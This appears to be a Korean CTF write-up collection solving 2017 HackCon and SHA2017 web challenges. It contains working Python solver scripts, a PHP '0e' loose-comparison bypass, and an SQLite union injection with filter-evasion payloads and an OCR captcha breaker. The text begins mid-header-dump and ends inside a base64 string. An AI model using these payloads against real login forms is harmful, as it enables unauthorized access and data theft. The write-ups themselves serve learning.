00:00:10 GMT; Max-Age=0; path=/, 306=%3C; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 307=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 308=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 309=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 310=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 311=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 312=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 313=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 314=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 315=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 316=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 317=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 318=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 319=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 320=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 321=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 322=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 323=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 324=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 325=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 326=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 327=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 328=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 329=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 330=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 331=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 332=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 333=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 334=%3C; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 335=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 336=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 337=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 338=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 339=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 340=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 341=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 342=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 343=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 344=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 345=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 346=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 347=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 348=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 349=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 350=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 351=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 352=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 353=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 354=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 355=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 356=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 357=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 358=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 359=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 360=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 361=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 362=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 363=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 364=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 365=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 366=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 367=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 368=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 369=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 370=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 371=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 372=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 373=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 374=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 375=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 376=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 377=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 378=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 379=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 380=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 381=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 382=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 383=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 384=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 385=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 386=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 387=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 388=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 389=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 390=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 391=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 392=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 393=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 394=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 395=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 396=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 397=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 398=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 399=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 400=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 401=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 402=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 403=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 404=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 405=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 406=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 407=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 408=%3C; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 409=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 410=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 411=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 412=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 413=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 414=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 415=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 416=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 417=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 418=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 419=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 420=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 421=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 422=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 423=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 424=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 425=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 426=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 427=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 428=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 429=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 430=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 431=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 432=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 433=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 434=-; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 435=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 436=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 437=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/, 438=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/', 'Host': 'defcon.org.in:6060', 'Content-type': 'text/html; charset=UTF-8', 'Connection': 'close', 'X-Powered-By': 'PHP/7.0.22-0ubuntu0.16.04.1'}
응답 헤더 쿠키 값에 뭔가 데이터가 삽입되어 있는 것으로 보인다. 해당 값을 뽑아보자.
import requests
import httplib # or http.client if you're on Python 3
import ast
httplib._MAXHEADERS = 1000
url = "http://defcon.org.in:6060/index.php"
rdata = ""
r = requests.get(url)
n = 0
for l in r.headers['Set-Cookie'].split(";"):
if str(n)+"=" in l:
n = n+1
sp_data = l.split('=')[-1]
if "%" in sp_data:
rdata += chr(int(sp_data[1:],16))
else:
rdata +=sp_data
print rdata
뽑아낸 값을 brainfuck을 통해 컴파일 하면 사용자 ID와 패스워드가 나온다.
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.--.--------------.+++++++++++++.----.-------------.++++++++++++.--------.<------------.<++.>>----.+.<+++++++++++.+++++++++++++.>+++++++++++++++++.---------------.++++.+++++++++++++++.<<.>>-------.<+++++++++++++++.>+++..++++.--------.+++.<+++.<++++++++++++++++++++++++++.<++++++++++++++++++++++.>++++++++++++++..>+.----.>------.+++++++.--------.<+++.>++++++++++++..-------.++.
# username: abERsdhw password: HHealskdwwpr
해당 계정으로 로그인하면 플래그 획득이 가능하다.
[2017_HackCon] [WEB] Noobcoder¶
문제내용¶
A junior recently started doing PHP, and makes some random shit. He uses gedit as his go-to editor with a black theme thinking it was sublime. So he made this login portal, I am sure he must have left something out. Why don't you give it a try? Server: http://defcon.org.in:6062
Note: dirbuster is NOT required for this question
문제 풀이¶
gedit 에디터를 사용한다고 한다. 로그인을 확인하는 checker.php를 checker.php~로 다운로드를 한다. 해당 파일에 소스를 확인해보자.
<html>
<head>
</head>
<body>
<?php
if ($_POST["username"] == $_POST["password"] && $_POST["password"] !== $_POST["username"])
echo "congratulations the flag is d4rk{TODO}c0de";
else
echo "nice try, but try again";
?>
</body>
</html>
소스상에서 username 데이터와 password 데이터가 같지만 같지 않을 경우 플래그를 출력한다. php는 "=="을 사용할 경우 비교 연산자 취약점이 존재할 수 있다. 다음 코드를 실행할 경우 플래그를 획득할 수 있다.
import requests
url = "http://defcon.org.in:6062/checker.php"
data = {
"username":"0e1208123",
"password":"0e0956871"
}
r = requests.post(url, data=data)
print r.content
[2017_shactf] [web] Ethical Hacker¶
문제내용¶
Are you a worthy ethical hacker? Join us on Ethical Hackers United.
문제 풀이¶
해당 페이지에 접속하면 이메일과 패스워드, 보안코드를 입력하도록 되어 있는로그인 페이지가 보인다. 우선 인젝션 편의를 위해 보안코드를 pytesseract를 이용해서 접속하도록 코딩한다.
import requests
from PIL import Image
from pytesseract import *
def OCR(imgfile, lang='eng'):
im = Image.open(imgfile)
text = image_to_string(im, config='-c tessedit_char_whitelist=0123456789')
print('=== OCR Result ===')
print(text)
return text
s = requests.Session()
url = "http://ethicalhacker.stillhackinganyway.nl"
header = {
"Cookie":"PHPSESSID=o4gq3p18oc0ditjd078i0grsv4"
}
r = s.get(url,headers=header)
fh = open("test.png", "wb")
fh_data = r.text.split('/$format;base64,')[1].split('">')[0]
fh.write(fh_data.decode('base64'))
fh.close()
sec_code = OCR("test.png")
data = {
"mail":"test@test.com",
"pw":"test",
"security": sec_code
}
q = s.post(url,headers=header, data=data, verify=False)
print q.content.split('</SCRIPT>')[0]
'''
array(2) {
[0]=>
string(4) "test"
["password"]=>
string(4) "test"
}
'''
정상적인 접속을 했을 경우 위 주석 처리 내용과 같이 패스워드 값이 array 형태로 출력된다. 해당 array 형태 값은 mail 주소가 참일 경우 출력되며, mail 주소가 거짓일 경우 출력되지 않는다. 그럼 mail 파라미터 쪽에 다양한 문자열 입력을 통해 결과 값을 확인해보자.
더블쿼터로 했을 경우는 필터 에러가 있으나, 싱글쿼터로 했을 경우는 데이터베이스 에러가 있다.
"mail":"\"test@test.com"
# ""test@test.com is not a valid email address according FILTER_VALIDATE_EMAIL"
"mail":"'test@test.com"
# "Database error"
or 1=1--를 통해 참이 되도록 하여, 해당 에러가 나오지 않도록 해보자.
"mail":"'or 1--test@test.com"
# "'or 1--test@test.com is not a valid email address according FILTER_VALIDATE_EMAIL"
"mail":"'or/**/1--test@test.com"
'''
array(2) {
[0]=>
string(4) "test"
["password"]=>
string(4) "test"
}
'''
띄어쓰기가 필터링되어 있으나, /**/로 우회가 가능하다.
union select tbl_name from sqlite_master--를 통해 테이블 정보를 확인한다. union select sql from sqlite_master--를 통해 컬럼 정보를 확인한다.
"mail":"'union/**/select/**/name/**/from/**/sqlite_master--@test.com"
'''
array(2) {
[0]=>
string(5) "image"
["password"]=>
string(5) "image"
}
'''
"mail":"'union/**/select/**/sql/**/from/**/sqlite_master--@test.com"
'''
array(2) {
[0]=>
string(107) "CREATE TABLE image (
id INTEGER PRIMARY KEY ASC,
line int(11) NOT NULL,
base64 varchar(16) NOT NULL
)"
["password"]=>
string(107) "CREATE TABLE image (
id INTEGER PRIMARY KEY ASC,
line int(11) NOT NULL,
base64 varchar(16) NOT NULL
)"
}
'''
테이블은 image이고, id, line, base64라는 컬럼을 가지고 있다. 각 컬럼에 대한 정보를 확인해본다.
"mail":"'union/**/select/**/id/**/from/**/image--@test.com"
'''
array(2) {
[0]=>
int(1)
["password"]=>
int(1)
}
'''
"mail":"'union/**/select/**/line/**/from/**/image--@test.com"
'''
array(2) {
[0]=>
int(1)
["password"]=>
int(1)
}
'''
"mail":"'union/**/select/**/base64/**/from/**/image--@test.com"
'''
array(2) {
[0]=>
string(16) "++004UbTaJ5NM6tF"
["password"]=>
string(16) "++004UbTaJ5NM6tF"
}
'''
where 절을 통해 하나씩 가져올 수 있지만 양이 워낙 많기 때문에, group_concat을 이용해서 컬럼에 있는 데이터를 한꺼번에 다 가져오도록 한다.
"mail":"'union/**/select/**/group_concat(base64,'~')/**/from/**/image--@test.com"
# "'union/**/select/**/group_concat(base64,'~')/**/from/**/image--@test.com is not a valid email address according FILTER_VALIDATE_EMAIL"
동일한 FILTER_VALIDATE_EMAIL 에러가 계속 나오는 것으로 보아 group_concat을 필터링하는 것으로 보인다. FILTER_VALIDATE_EMAIL bypass를 구글링해본 결과 더블쿼터를 이용해서 우회가 가능하다고 한다. 해당 방법으로 진행해보자.
"mail":"\"'union/**/select/**/group_concat(base64,'~')/**/from/**/image--\"@test.com"
'''
array(2) {
[0]=>
string(239231) "7RTSGl9v907CzSdo~W+OTqx5JlGWm~pV/0nSQucWu5nAux~ChqS4hrWupnQ4+Hr~gHsg
......
~2+Mua5uevovNzwu3~R9QyNjS4npgKu2dy"
["password"]=>
string(239231) "7RTSGl9v907CzSdo~W+OTqx5JlGWm~pV/0nSQucWu5nAux~ChqS4hrWupnQ4+Hr~gHsg
......
~2+Mua5uevovNzwu3~R9QyNjS4npgKu2dy"
}
'''
"mail":"\"'union/**/select/**/group_concat(line,'~')/**/from/**/image--\"@test.com"
'''
array(2) {
[0]=>
string(77501) "3064~14140~11872~623~3500~4298~4118~4147~3982~14510~1694~2210~7299~7339~8679~7629~
......
10619~9529~13107~8394~8822~5040~356~10550~6801~12919~4458~6639"
["password"]=>
string(77501) "3064~14140~11872~623~3500~4298~4118~4147~3982~14510~1694~2210~7299~7339~8679~7629~
......
10619~9529~13107~8394~8822~5040~356~10550~6801~12919~4458~6639"
}
'''
line과 base64 데이터 내용을 획득했으니, 해당 내용을 조합해서 플래그를 획득하자.
import base64
import operator
text = "7RTSGl9v907CzSdo~W+OTqx5JlGWm~pV/0nSQucWu5nAux~ChqS4hrWupnQ4+Hr~gHsgxJvFTvns~OVwhd3AK3wm3RhGH~vKWNHRB4h7Sg+ICA~sc1FeIEoKoICAgIC~TL8jk+y7R0BOfAHT~gjt6KkzU+VZd~L2oWmGaeh0hv851m~9oWps7IaoUds~W41y5R6RSumZ9VXc~UM5mj1XXh4u3fx8T~7LBUTPkfOHNfnzCr~jz2LfJVka92V+kqd~fjkWXeKi7RXA07au~Vh1sceWOWNUG/wCq~R9FQEvlLM5aG~u15x7Rar3Ltr~dE27cCzugq4G+IGH~BU1lLVB8Ub+f5ZV9~6im+iLm7kMfQZWGX~969LJ1RuDZ7Ww+I9~J1XbIfBlPkunHlbY~fRa8bfh+1e9l~SkslwkbNDVQk~UfI7zGPNdXHxRvhh~KNDpHQuo30kMtvEY~uUGz9+o3V1tfTNAc~11xjqsYz8JKw~hpt13YAXVxfk~L5/6baQ0tNQUfu1I~swklawZblcnI8/li~+07Z/wBs+9b4~jxbxYWttf1Or6jkd~x6WHuL50tVvmYyes~Ec3KaolXPewHwxlN~F5HJnXHUtd3y09C8~ax7Nb3a+1LxY7obX~loK+Zy3t5GVT~JsZN0Prd2pq+~6Sknn5m+mcJtLoLb~q3S9x057x4Hv~9U/NbY+HonBW~XfJXstWxipV1t0df~06rOoqrWTTt2vdQI~0zstqO8v1dQh~5f41O8ODRgZHT1HR~sacUUvNnn5c83RIm~PROsR8bfSl9j7dL5~cs1U7SF8tVvd~4ZJBHdVtVy+nObba~JW3m0/svtxt0dG0e~Fro7q7fiSI1kEdRy~zI3PDmyEEkeS9XBv~unbnaRV01Qx73Nz3~0xbS3argoXwRB/L2~6nY+WLoq9p6aSlMf~k6OawAjt6hDcaI+0~IDHYCp0V6oLT~o4+T2z6wMDGw0wxk~jvpVyUkwpyaHEroy~Js7Lt233Xn0x~8koPOAVHY71L367z~SOCokBqakDIjYOpB~adRUEVxs1bDV0sze~nM2X8KU0I/Fnzlkn~eq2NfechR1ay~kLh5uGR5HmeHMJ6Z~Ge4+NQSVnMxr~jtnCUqn+xd/y~rLpW5xSguBwuXkyS~BzO6fnXRMZHozDHF~Luxqu6Jp6+/XdlK8~G5rnHIOcKdf0jS8d~HPHLUsa5v3EoNEtd~8cGn6pjTaDdff1Qi~+KVLUupJoaU00sUz~BrGs53FV1Tbw~jJjHZaYRPWqfu9YL~jK5aXFSXC3X+jnZL~Ua97S4R8T92p~2SBxHN8XKExn+oXz~d/NEVnj2JR5pdziT~M6vrQOYRM5ycY+Y6~I2/SxiLUe0m/+zNs~Fpyuv23WuX6prYD4~ejeIjRtWyhpgIRe3~Kw0yuFfHeDJ9QYTS~3Mn6xGOivtbe1W3J~e2VXzU+Dquga8PY5~c4BBIXheXlbHn8+X~H4NTrf2vlhtfu0ms~t4I5A+nbyjo9gLev~zaPpEs/ZfvXP4fK7~1EIi3LvM+a6ePi1X~VyLxgEgsWVrl~kbJ4YDTk57pjgrhh~QMkqMuCKcngY6WJT~ddNWG6RGimoWuDhy~Xlrnmft6xUdB~orpQ0lSKRzQHLjyv~WxsJaXZ6ldOODXHH~oguPVdF7/pa7~S05apcm2Nuu9b4tJ~jnbVE0VaILzd46Gq~p2t54zk4HRd3Hlcv~N1pSOortR4E0Ln5x~MjIGEkkmzquzb3aq~LBb9NujiniuX0gws~v2W3HinTH93qdN35~K4c8dV4nJxXGqTrG~12RnyW8XWl0x0HUK~XtOP8zXW3Typ~kqtydR+5thFVzMPk~Kr026MMWquua2jsW~9T5Lnv25qgLRnOVW~Ct8e1pgqW5mlLBbq~696Oon7q3B2mrsyM~bSz2+a7V2sbc2mhZ~Zx/T1PHfoK0ESNE2~049NZxp2n17F~srIpDFMRkhmW~heG7VK56gtdipXVt~uZpLU11dV2y3TRNo~vVbu1+ZPSbGU3gBv~4bG/BLiPks8cts5k~81Qxk9VcYfCYT1di~8lncmV5NNsNvNltH~JIhAJGnzBb1GCo9p~x0VrpOllOq5z~hj7DrhXsbenpuHpv~QqxnGIaeJ1p1NJbC~ZIuKp0kwmD3u~rmptz7Y5mffm~Ugjc6Rpp+UAZ/wCU~gICAgICAgICAgICA~V0Y4tpirN+1FPcKV~RYGe+HhBaPsiB/8A~I1w42Nd09a6qsl/e~oWpZomO0DMb5wOo7~xcZW3HhY6eKaYY3z~Z6dF1Ycc0a9o~qxpZJb5AXNDm+fP2~qXa3U92ttVba~U9oWsDnY5k0i1HC9~fJcWWfH7i2ht~P2a3v5HK+lds~+mrTSnFQ0OGB54We~IzyZAuO2Onda2ieu~dFST11QcR08T~cpz/APq//Wmj~ICAgs/A9F475IQfV~m57rjpdttnh8JkAI~aXz8l2W7RtLT~+XJNezup3Rca2icj~QA8nVBuHqG/2nTNn~+Mhd99Sabr52Eu0d~mgq3PgackhuB+RdG~BAQEBAQEBAQEBAQE~79qbtpO7jVFmhdGG~tlupC7a60vSO8Smu~DS745qGGq92fWsxn~yyZp2z4crtf6xpuE~nY7qvxSsc/FlaqbZ~OfgQIPFluwSOQ+8R~k2ntV6JttmiZqWw1~6L0eOzTXHORa2ptT~HO8fettNdrodVWrS~Iwzpnb+l1bqCpu9S~LLbHLyZV+23avTVr~efdYZciDTd71hZb+~u8bPXm0Ww1gpXPBG~UmJydIKSsrPB0TY4~tzOha3JCv1TtPvpK~sti86j/VDcA+SMNy~ddfG0x1lRXXTd6mp~MpPll5XDnyaq~jsFUYK6ih8SKTGeU~DtvLedopdRuups7Y~T/RrmuqGtycfYu7x~4p57JqCplMXK5spI~WGfHpll4mkFp1VrW~JJJ7oPNB8QfOVWiN~lFQ2R2cYyzIHVTPD~jbzVsAx3lYPzom10~93ND4kfkq2MMojpa~S0ZabC/cUwSU1LHH~EFlNeSV48r5K3b2Y~rlp4nktDwchO68jE~P7XuwVV317s5TW2n~KaXAHMHk+n2KPaVs~Ptff2aW1IYK4ZEru~M7BQyEESAgKg~zcZOtunnB/UWeTLl~/kxzvDc5+9Bk3b/U~kz7J+YDfrV0JaDz1~wrlPYLpw+3fg8z3W~1xpbobrXSnl5y7v5~32Sh+F7m8rivc8fj~09pwaWp3DxIBydD5~O9kpsJkuw7Pk~eUZyvL58XJ1R~puVlI4lob2C0~u2egysuXkkc3k82M~MZM1uCAVz3JnlWHL~MYbxzGptjnn96VXB~ij8Tw+V2PrZ6r1eP~D0QdK+Ebii340pQU~3Yu0rr33TSuo~aemCrT6Stvce61tF~PLc9MNOFHz+15pZV~dJrYOP8A8RVdP0x+~RzznjsHw+e0l~yHKo+WVtjUMmmLxA~HsOY+y0dMoZ/GGHH~wx8+MKtjOCaXE0Ca~jJyue8VOirOt1PSa~x36L0ePkjTFh/W0c~ix6L1rStxS2R~yG6fn/U6zq6t/E/a~J/Iq6Vym41C4~Lo8jr2KDoMxpZG2P~1X6wQuGThRpG3zkI~qGl0tZJbvWvAijex~sut9W0HPPBJg~aVvPRk4IeObp968j~dK6mowZ7x4L4/iaT~Y2VeMnWOqoLREX+E~9t01uJ+pX3KW~26Vn0ZQGYNBEZa3q~nO8//wCYRs1/Er/7~ICAgICAgIrBFkKNI~T04hIqYnPDfEHMGn~22ortX0Vlro8YPf7~NNIwQtMgAOB3yqWI~m8JkY7Y7LmvK8/Py~axN9xk7TW4ULKXxq~KnHNff8AtlXBpTse~O1GqqLX+g+Ig2690~NYaZV6ShrWZJU9VK~2PkXLZeHnVlykAfS~o7mKV1BU8xc36p8w~wV7eHBvHVds4vS7L~y1OjT9lY7MVsiH80~ewWn6W52ir+jo38n~tcLUzI1lSR4T84XX~z9rt9Ga+xftQcObA~Dqyu4ed5LNu3~EBAQEBAQEBED~nfvTOv8AbW/MfX21~Rb5qWkaG/DByygfa~1GEmzqwHV6g1A2vF~y6379qGeJHQr~656jXHbMeqobJTaX~l1tucp8XH8GPIQbg~WV8MbntZ7hjm~kldWzxh3M7GQ~VVdPRwuqamVkcbPr~b60Nz+k2QmJvwOY1~4fGZY2D8W41Y/wDq~yORvUYWlm09VXgjb~5nutm6IdlnWokBWg~epnPhB/XOMZUaMfT~OOW+o36vbT19msV2~nY8+Uq0y2d1tVVpu~cPq8zQcd/mnW~VLVLdtgtL7P7c6dg~8WGkiEcUN0p3gAYG~pZKKTxHBi34bqpxm~tFA3assWoqKOppce~RVVEwFpcAcBe1w83~f9YYIB9U+GxfrYsa~0V0gvO3Gnq+nwY30~TVF7BkgE+S1w~C9AGF32K29J09ZIK~2D3Jt1mLKCse~yN18x5n5LluX~cMi3b5vDdLnK~hRVnhh8jgJA/HMfI~9Uyp4eYX9oB/~+5pf4jv0IOb3~/aOVoY449VnXPRjs~2tuQP8r7bn+UM/xU~vDQQ7m6Lk+Nx54bV~HZZmotktHagBj+j4~H987/FOkJhjGBeM3~OvbChDpdTdKe~fK6McmdyWftzrN1r~eK2Umf2e1PjR~gdPIreYOmcEUscJP~x1TsteXGN76z2jnC~dVEXtxT7a2HdPZTU~QSEH+aUGk/ALq/UV~7lGe3+5/b86dTrFE~nJPixud5jmTpTpVX~2bUQsmrY2zUTyWfH~OmjEMHbtledfbN4X~mcTj86wxy9uTHL27~xSHqEtVRtjPZ3dUt~IX1FA/8AaoiPvKlb~xW2lkLWOaPR3Mtf1~AgKoICAgKwICAgIC~jzsfXnabUxkLYrpc~KnLKaZZXf0zF~68fyGUU79Zm3c2fA~gi2xm2l4btKa~ZKyquYo3RFpJx1Vp~T1z8ui1nDHVh40xZ~t0rpjhJ0fbrxfqGk~XOGQvOyz9uSrb0PZ~Dqbc/QL9NXhsWrLa~VLFLFx6eiu9z~W0W6yz9ScN8s~VZzR1tK12By9VS8e~uFR4Rm+FvMMLh5bu~9I6X4tt1IqS2siGn~PYOwNW//ABU3kT89~KLS1XtLp/VscdW+j~vzSUjI2/IAKLmpeW~p6CGaB8cQ7Au~552U7MUW+y3PRWs5~Uz2SOjc2lJDmnBHQ~G35+eInbmtj4yLho~ZipxBSxhjWjHQLG5~qVS1y5cu0jPdHzHz~o7sfp1Z8wrJrlv7a~q+6guNDZLT73JFE0~A9pfzLPt7ZXOjeYf~WuBBaRkEINft6+HS~FpMHnC14diRxIPTs~7LpengI2EBAQEBAQ~XLyPN5FvMA8M9B3X~ALZ963w+npcK~TRjZPduoYG